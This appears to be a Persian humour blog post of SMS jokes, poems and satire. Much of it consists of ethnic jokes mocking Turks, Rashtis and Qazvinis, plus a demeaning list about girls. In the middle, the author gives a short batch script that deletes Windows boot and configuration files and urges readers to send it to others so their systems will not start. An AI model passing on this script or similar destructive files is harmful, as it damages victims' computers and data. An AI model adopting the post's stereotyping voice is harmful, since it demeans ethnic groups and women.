| تبليغات | X |
فتواي جديدتر علما :!!! احتياط واجب بر آن است که مسافر نماز را در قزوين بدون رکوع و سجده بخواند
مژده، مژده، آلبوم جدید اندی به بازار آمد، نوبت خوشگلا تموم شده، حالا دیگه تو هم باید برقصی!!!
خصوصيات دخترا:.......... 1) تا زبونشون باز ميشه عوض مامان بابا ميگن شوهر!! 2)حالشون از پسرا به هم ميخوره ولي نمي دونم چرا 666 تا دوست پسر دارن 3) اگه خونشون آتيش بگيره بين بابا و لوازم آرايش حتما لوازم آرايش و انتخاب مي کنن! 4) نون شب ندارن بخورن ولي پول عمل دماغشونو رديف ميکنن! 5) همه خوشکل و خوش هيکلن(خدايا منو بخاطر اين دروغم ببخش) 5) از 8 تا 20 سالگي شونصدتا دوست پسر داشتن که هيچ کدوم درکشون نميکردن
چنين گفت زردشت:....عاشق عاشقي باش و دوست داشتن را دوست بدار ، از تنفر متنفر باش ، به مهرباني مهر بورز با آشتي آشتي کن و از جدايي جدا باش
اگه ديگه از اين وضع خسته شدي......... اگه ديگه از خودت هم بدت مياد....... اگه ميخاي متحول بشي و زندگي دوباره رو شروع كني.......ما بهت كمك ميكنيم.........................................................(ستاد بازيافت زباله)
اگر خواستی یه کسی ، عاشق هم نفسی ، عمرشو حیرونت کنه ، جونشو قربونت کنه ، جون مادرت رو ما یکی حساب نکن
تو گلی مثل گلای قشنگه قالی . تو به ظرافت تار و پود فرشای زیبای ایرانی ......اصلا تو خود فرش پاتریسی .........همون که یه تختش كمه
صفحه رو بده پايين!!........................................................ خوب حالا بده بالا .........!!!! ====>(
اگه گفتي فرق سوزن با فرقون چيه؟؟؟........................................................................ كور خوندي فكر كردي هميشه اين آخر جوابه
يه روز تو آبادان مسابقه تقليد صداي داريشو ميزارن داريوش خودش شركت ميكنه چهارم ميشه
ترکه تو جبهه بوده از هر طرف خمپاره ميومده يكي داد ميزنه سنگر بگيريد ترکه از اون ور ميگه واسه من بربري بگيريد
فيفا اعلام کرد گل ايران به مکزيک قبول نيست چون توسط بازيکن دانمارکي (گل محمدي) زده شده است!
جام جهاني 2244 ، بازي ايران و جزایر مائو مائو ............. ضربهي راه دور مهاجم ايران که با سرعت
راهي دروازهي حريف بود با برخورد به تابوت علی دایي به اوت رفت
تییییییییییش.......تییییییییییش..........دی دی دیدن دین دین.....دین دی دین دیدین دین دیدین......دی دی دی دین دیدین( چیه نتونستی بخونی؟؟ آهنگ فوتبالیستها بود دیگه
با دستت يه پروانه ميگيری، ميخوای ببينی زندهست يا نه، اگه دستت رو باز کنی فرار ميکنه. اگه محکم نگهش داری ميميره ..........دوستی هم مثل همينه
در پي 24مين سفر استاني رئيس جمهور به شهرستان سوسنگرد نام اين شهرستان به فاطي تپل تغيير يافت
تولد عيسي مسيح و جشن کريسمس و آغاز سال نو ميلادي و اغاز ژانويه به تو هيچ ربطي نداره خودتو قاطي نکن
مي خوامت نه به خاطر رفاقتت... نه به خاطرصداقتت... نه واسه شرافتت... ظرافتت... رشادتت... حسادتت... مي خوامت فقط به خاطر خود کثافتت
اگه با هم رفتیم بیرون............سردم شد............. یه لب......... یه لب........................................... یه لبو برام میخری...؟!!
موج اگر ميدونست که ساحل هيچ وقت دستشو نميگيره هرگز نفس نفس نميزد براي رسيدن
خدا به شیطان میگه به انسان سجده کن شیطان میگه نمیکنم ناگهان ندای جبرائیل از دور می آید که گفت تو غللللط میکنی
لره ميره حج سروصورتش خوني ميشه بهش ميگن چه اتفاقي افتاده میگه پدر سوخته ها خيلي سنگ ميزدن اما آخر تو نستم ببوسمش
ترکهه با مسيحيه دعواش ميشه مسيحيه ميگه سليب تو کونت ترکهه ميگه نماز تو کونت مسيحيه ميگه نماز چيه ترکهه ميگه ستون دين
مامور سر شماري مي ره دم خونه رشتيه مي گه شما چند نفريد زنه بيرونو نگاه مي کنه مي گه من مشکلي ندارم شما چند نفريد؟؟؟؟؟؟؟
ترکهه مي خواسته زير دريايي آمريکايي ها رو غرق کنه در مي زنه و فرار مي کنه!!!
ترکه ميره امام زاده ميبينه يه دختره ميگه خدايا يه شوهر خوب به من بده! ترکه خودشو ميندازه بغل دختره ميگه خدايا هول نه
چند وقته نيومدی به خاطره نيومدنت مامانم و بابام هر شب باهم دعوا دارن! مهم نيست با چه ماشينی ميای! مهم نيست با چه لباسی ميای فقط بيا و اين آشغال ها رو از دم خونه بردار
ترکهه رو ميگيرن ميگن پدر سوخته چرا پشت ماشينت نوشتي امام با سالاد ! ميگه مگه چيه؟از شما بهتره که مينويسين خدا با ماست
تنها يادگاري (( ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ )) اين آخرين چيزيه که از تو برام مونده، جاي پاهات رو ديوار اطاقم، يادت به خير، عجب مارمولکي بودي
تابلوهاي بين راهي در 5 کيلومتري شهرها... قم : لطفاً با وضو وارد شويد!... قزوين: لطفاً با رکو وارد شويد!... رشت: از غيرت خود بکاهيد!... آبادن: پاريس 5 کيلومتر!... تبريز: پايان تمام محدوديتها
شرکت نوکيا براي رفاه حال اس ام اس نويسان محترم ايراني يک گوشي جديد طراحي کرده که با فشردن تنها يک دکمه مي نويسه "يه روز يه ترکهه
فناوری نیروی هسته ای و پیروزی غرورآفرین دانشمندان ایرانی در زمینه بهره برداری صلح آمیز از انرژی هسته ای رو بی خیال..... خودت چطوری؟؟!!!
به رشتيه ميگن زنت چطوري حامله شد ميگه حميـــــــــــــــــــــــد
بزرگترین دشمن بشر پوله پوله پوله...........هرچی دشمن داری بده بیاد خودت رو راحت کن
پنج نوع کردن داریم: 1فکر کردن 2 بازی کردن 3 پرتاب کردن 4 شوخی کردن 5 بسوزه دماغ اونایی که فکر بد کــــــــــــــــردن
من دادم تو ام بده . من مفتی دادم تو هم مفتی بده . درسته درد داره ولی ثواب داره (اهداي خون اهداي زندگي)
ترکهه با دوست دخترش تو ماشین بودن می بینه جلوتر ایست بازرسیه به دوست دخترش می گه تو پیاده شو بعد از ایست بازرسی بگو مستقیم تجریش که من دوباره سوارت کنم ......بعد از ایست بازرسی دختره یادش می ره بگه تجریش می گه ونک . ترکهه می گه شرمنده مسیرم نمی خوره
تو قزوين زلزله مياد از سقف يه بچه ميفته پائين قزوينيه میگه : اهههه هنوز زلزله تموم نشده ، کمک مردمی رسید.
اگه فكر ميكني كه به درد هيچ كاري نميخوري....... اگه فكر ميكني كه بي مصرفي ..... اگه خودتو بي عرضه ميبيني...............خوب كاملا درست فكر ميكني
یه سری عکس جاب هم توی قسمت عاشقانه گذاشته ام
البته جو گیر نشی.....
ساخت ویروس قوی:
یه Text Document باز کنید و بعد این رو توش بنویسید :
:c
del autoexec.bat
del config.sys
cd winnt
del system.ini
del win.ini
بعد فایل رو با پسوند bat .سیو کنید.
مثل این : nofooz.bat
این فایل رو وقتی برای کسی بفرستید هیچی نمیشه ولی وقتی اجراش کنه و کامپیوترش رو ریست کنه دیگه ویندوزش بالا نمیاد
خودت اجراش نکنی عزیزم
در صورت تقاضا بازم مینویسم
توجه
:قبل از شمار ه شبكه كد ۰۲۱ را وارد كنيد.username
:freepardis
بدون نظر نری شیطون
در کودکی پستی
در جوانی مستی
در پیری پستی
پس کی گه دل پرستی
فــرق منــو پروانه در عالــم
پروانه پرش سوخت و من جگرم
اکنــون که دلــم شـکستـــه است
گـویا یکی از دریچـه ها بستـه است
نه ماه افسون و نه مهر جادو کرد
نفرین به سفر ه همه چیز را او کرد
به تو عادت کرده بودم
ای به من نزدیکتر از من
ای حضورم از تو تازه
ای نگاهم از تو روشن
گر بدین سان باید زیست پست
من چه بی شرمم اگر فانوس عمرم را به رسوایی نیاویزم
بر بلند کاج خشک کوچه بن بست
گر بدین سان زیست پاک
من چه ناپاکم اگر ننشانم از ایمانم چون کوه
یادگاری جاودانه بر تراز بی بقای خاک
خر عاشق!!!!
خری آمد ز سوی مادر خویش
بگفت چرا مرا رنجم دهی بیش
خر همسایه را عاشق شـدم من
به زیبایی نبـاشـد مثــل او خــر
مادر گفت:
اگه عاشـق شـدی حـرفی ندارم
بریم امشب برایت خواستگاری
بــرو پارون تمیـــــــــــز کــن
بزرگان محل زود خبــــر کن
خر عاقد کتاب بگشود و گفت:
که ای دوشیـــــزه خـرخـرایی
به عقد دائم این خر درایی......
(خر خانم رفته جو بخوره)
برای بار سوم ای دوشیزه خر خانوم
آریـــــــــــــــــــــــــــــــــی!!!!
میان جمعیت شوقی به پا شد
خر عاشق دو لنگش بر هوا شد
به شـــــــادی و شـــادمـــانی
برای این دو خــر در زندگانی
اینو بفرستین واسه کسی که تازه سیم کارتش رو تحویل گرفته :
واگذاري بيش از 10.000.000 سيم کارت رو به همه سيم کارت نديده ها تبريک مي گم !
این برا نصف شبت
پا شو سرت از رو متکا افتاده پايين !!
همه جا امن و امانه ! تو راحت بگير بخواب .
سوسک ! سوسک !
توروخدا بيا بکشش ، من مي ترسم !
خوش حالم که خوابي عزيزم
چون اگه بيدار بودي و مي دونستي از دلتنگي تو خوابم نمي بره حتما خوابت نمي برد !
مشترکه گرامي اين اس ام اس به منظور بيدار کردن شما مي باشد لطفا لبخند بزنيد .
با اين که اين همه اسکل شدي هنوزم حاضر نيستي شبا گوشيتو خاموش کني ؟
اي بابا هر شب من بايد عين اسکلا با اس ام اس بيدارت کنم ؟ خوب خودت مث بچه ادم پاشو ديگه !
سلام ... ااا . ببخشيد! فکر کنم اشتباه اومدم .
ميگم پاشو يه چند تا اس ام اس بفرستيم اينور اونور مردمو بيدار کنيم . خيلي حال ميده.
ببين عزيز دلم پاشو ............. اگه پا نشي قهر ميکنما ......................... خب دلم برات تنگ شده ....... جون من پاشو .......... پاشدي ................... افرين عزيزم ................ حالا که پاشدي ماچم کن بگير بکپ !
سلام .... تو رو خدا ببخش ... نميخواستم اين موقع شب بيدارت كنم ..... واقعاً ببخش .... سعي كن دركم كني ... من موبايلم گم شده زنگ بزن به گوشيم تا ببينم كجاست !. شرمندهام
ببينم راسته که ميگن ايران از جام جهاني حذف شده ؟
1. سلام دوست خوبم ...
ببخشيد الان مزاحم شدم
ساعت ميخواستم ... ميگي چنده !؟!
2. اخ اخ اخ
حواسم نبود ايناها ساعتم پبدا شد
تو بخواب ...
ميگن هاچ زنبور عسل کنتاک کرده از خونه فرار کرده . مامانش گفت بت بگم اگه هاچ اومد در خونتون راش نده .
سلام. ببخشيد بد موقع مزاحم شدم!، راستش را بخواهيد يه سوالي داشتم خيلي وقت بود ذهنم را مشغول کرده بود، مي خواستم بپرسم ... مي خواستم ... اصلا ولش کن. بزار برای بعد، خب ؟!!
مهمترين درس زندگي اينست که بپذيريم گاهي اوقات احمق ها هم درست مي گويند !!!
واسه اس ام اس تکراری اینا رو بفرستید :
1. به رشتیه مسیج می زنن که زنتو با یه نفر دیگه دیدن . می گه اه... حالم از اس ام اس تکراری به هم می خوره !
2. ارسال اس ام اس تكراري حرام ميباشد و كفاره آن آموزش منطق به 60 ترکه . آموزش غيرت به 60 رشتي و 60 بار شركت در نمازجمعه قزوين ميباشد !
و اما جک : (نسبتا جدید ، و جدید ، قرو قاطی ... آخه بعضیاش از قلم ول شده بود... تو آرشیوم نبودن)
ترکهه مي گ*و*ز*ه , بچه هاش مي خندن . ترکهه با حالت گريه نگاه به آسمون مي کنه ميگه : خدايا , اين شادي رو از ما نگير
ترکهه میره تو لوله اتل متل توتوله
به روز گرگه ميره در خونه شيگول و منگول ( آيفون تصويريه نيست ) بهد در ميزنه ميگه : شيگول . منگول . حبه انگور بياييد بيرون من مادرتونم . بعدش پينوکيو مي ياد بيرون ميگه اينا از اينحا رفتن ....
به پشه ميگن : چرا زمستونا پيدات نيست؟ ميگه : نيست تابستون خيليرفتارتون خوبه زمستونم بيام
به ترکه ميگن شما آشغالاتون رو تو چي ميريزيد ميگه لاي نون! ميگن لاي نون؟ ميگه نميدونم لاي نون يا ناي لون
لاته ميره قهوه خونه داد ميزنه : عباس كيه؟ بياد جلو مي خوام پدرشو در بیارم . ترکهه ميره جلو .... لاته هم تا مي خورده ميزندش . جميعت مي بينن لاته داره ترکهه رو مي تركونه .. ميرن جلو از دست لاته بگيرنش . ترکهه ميگه: ولش كنيد بابا، بذاريد بزنه، من كه عباس نيستم!
دوتا ماشين با هم تصادف ميكنند و از اتفاق يكيشون ترك بوده. افسر مياد و از ترکه ميپرسه كدومتون مقصر بوديد ؟ ترکه ميگه والله من خواب بودم نديدم كي مقصر بوده !
خودکار قرمزه باباش می میره تا چهل روز مشکی می نویسه.
داداش ترکه عروسي ميكنه. شب عروسي ميشينه پشت در اتاق عروس. ميگن: چرا اينجا نشستي؟ ميگه: بابام گفته بعد از داداشت نوبت توئه !
يه رشتي ميگن تو كه 8 سال اسارت بودي چطوري 5 تا بچه داري ميگه من اسير بودم زنم كه اسير نبود.
ترکه ميره دستشوئي زنانه ميگيرنش ميگن کوري نميبيني زنونست؟ ميگه من چکار کنم اونجا نوشته زنا، نه! اونطرف هم نوشته مردا، نه
ترکهه آستین کوتاه پوشیده بوده ، یه نفر بهش گیر می ده این چیه پوشیدی؟ ترکهه می گه: تو به روح اعتقاد داری؟ می گه بله. ترکه می گه ر.ی.د.م تو روحت ، هوا گرمه خوب !
ترکهه پنجاه تومنی تقلبی میزنه همه می فهمن . چون همه داشتن قنوت می خوندن ، یکی رفته بوده رکوع .!
ترکهه بیست تومنی تقلبی میزنه همه می فهمن . چون رینگ تراکتور رو اسپرت کرده بوده .!
بچه یه اصفهاني شکم درد مي گيره ميبرنش بيمارستان دکتره بعد از عمل از اتاق عمل مياد بيرون، ميگه: عمل با موفقيت انجام شد و ما اين سکه 5 ريالي رو از شکم بچه در آورديم. اصفهانيه ميره جلو ميگه آقاي دکتر اول 5 ريال ما رو بدين حسابمون با هم قاطي نشه !
خانومه 8 قلو بچه دار می شه، ولی می بینن هر کدوم از بچه هاش یه رنگی هستن! تحقیق می کنن می بینن به جای قرص ضد حاملگی اسمارتیز خورده بوده!
یه نفر توی دستشویی می میره، روی قبرش می نویسن: اين گل پرپر شده مال رشته، رفته بشاشه ديگه برنگشته.
ترکهه رو برق مي گيره . مامانش مي گه : ننه جون ولش نکن .. همين بود که باباتو کشت !
يه كبوتره مست مي كنه بجاي نامه ايميل ميده.
ترکهه داشته با شرت تو خیابون قدم میزده ... ازش میپرسن چرا این کارو میکنی ؟ میگه : مگه نشنیدی میگن شهر ما خانه ما
ترکهه سوار سمند می شه، صدای یه زن میاد که می گه: درب خودرو باز است. ترکه درو می بنده می گه: بستم. حالا هر جا قایم شدی بیا بیرون جیگر !
از بوش می پرسن چرا به عراق حمله کردی؟ می گه امام حسین طلبید. ازش می پرسن حالا کی از عراق می ری؟ می گه هر وقت اما رضا بطلبه!
از ترکهه می پرسن : وقتی حضرت یونس رفت تو دهن نهنگ چی شد؟ می گه هیچی، یه سازمانی تشکیل شد به نام سازمان یونسکو !
ترکهه توی کوپه قطار به سمت مشهد میرفته، به روبروییش میگه: به سلامتی از مشهد بر میگردید؟
روش دفع انگل:30روز تمام فقط چایی و بیسکویت میخوری روز 31 فقط چایی میخوری در این صورت کرم میاد بیرون و میگه بیسکویتش کو؟
یه ترکهه میره بم شروع میکنه زمین رو میکنه. بهش میگن : چرا داری زمین رو می کنی؟ میگه : می خوام ببینم عمق فاجعه چقدره!!!
به ترکه ميگن با وطن جمله بساز ميگه : من رفتم حمام و تنم رو شستم بهش ميگن نه با ( ط ) دسته دار باشه. ترکه ميگه : اتفاقا با طي دسته دار تنمو شستم
ترکهه میمیره عکس نداشتن سر خاکش بزارن تا گردن خاکش ميكنن !!
انسان هيچ وقت بيشتر از آن موقع خود را گول نميزند که خيال ميکند ديگران را فريب داده است.(لارشفو کو(
خوب من کارم تموم شد .. حالا نوبت شماست که با نظراتتون یه حالی به من بدید !!! بدون نظر نروووووو
روزی از ميلتون (شاعر معروف انگليسی) پرسيدند: چرا وليعهد انگلستان می تواند در چهارده سالگی بر تخت سلطنت بنشيند و سلطنت کند، اما تا هيجده سال نداشته باشد نمی تواند ازدواج کند؟ گفت: بخاطر اينکه اداره کردن يک مملکت از اداره کردن يک زن به مراتب آسان تر است !
يه روز مدير مهد كودك به يكي از بچه ها ميگه: تو مامان داري؟ ميگه نه! ميگه بابا داري؟ ميگه نه! مرده ميگه پس چي داري؟ ميگه جيش دارم؟
يه روز يه معلم به دانش آموز ، عكس پاي يه حيووني را نشان میده و ازش نام حيوان را میپرسه . دانش آموز هر چقدر به عكس نگاه میکنه نمیتونه اسم حیوون رو بگه. معلم با عصبانيت بهش میگه : اسمت را بگو تا برايت يك صفر بذارم. دانش آموز كفشهايش را در میآره و به معلم میگه : شما هم از روي پاي من بگوييد اسم من چیه ؟
از قديم نديما ميگفتن: واسه كسي بمير كه برات تب كنه ...! لطفا" يكي براي من بميره ، آخه چند روزه بدجوري تب کردم !
اس ام اس رييس جمهورمون احمدي نژاد به بوش : " اگر خورشيد را در دست راست و ماه را در دست چپ من هم قرار دهي ، عمراً بيخيال انرژي هسته اي بشم"
سرود جديد ايران: سر زد از افق مهر خاوران ... فروغ بــابـــا مربا بده بـــابـــا !
كمترين ميزان آمار طلاق متعلق به حلزون هاست چون نه مشكل خانه دارند نه ماشين !
هميشه عكس از همسرتان به همراه داشته باشيد تا در مواقع مواجه شدن با مشكلي به آن نگاه كنيد تا بدانيد كه مشكل بزرگتري هم هست !
ايرانيها را به چهار طريق مي توان شناخت: 1- زير شلواري راه راه آبي دارند 2- وقتي بستي ليواني را باز مي كنند درش را ليس ميزنند 3- هر بار كه يك قلوپ نوشابه ميخورند به شيشه نگاه مي كنند 4- تو چهارچوب در وا مي ايستند و ميگند بفرماييد تو !
خداوند هيچ موقع از تو سوال نمي كنه چه نوع ماشيني روندي؟ اما حتما از تو خواهد پرسيد چند نفر پياده را به مقصد رساندي....... قابل توجه دخترها که هر چي بوق ميزني ناز ميکنن ...... نميدونن هدف پسرها الهيه
سهراب سپهری مدل 1385 : هر کجا هستم، باشم به درک! من که باید بروم! پنجره، فکر، هوا، عشق، زمین، مال خودت! من نمي دانم نان خشکی، چه کم از مجری سیما دارد! تیپ را باید زد! جور دیگر اما ... کار را باید جست. کار باید خود پول. کار باید کم و راحت باشد! فک و فامیل که هیچ ... با همه مردم شهر پی کار باید رفت !
مـــژده ... مــــــژده ... به منظور استقبال بي شمار مردم از شهادت و روحيه شهادت طلبي و همچنين در پي درخواستهاي بي شمار مردم؛ دولت با همکاري بنياد شهيد برگزارمي کند: سقوط هواپيما، در هر ماه يک بار. ثبت نام براي ماه بهمن از امروز آغاز ميشود. (شرکت براي عموم آزاد مي باشد) منتظر قدوم سبز شما هستيم..... التماس دعا
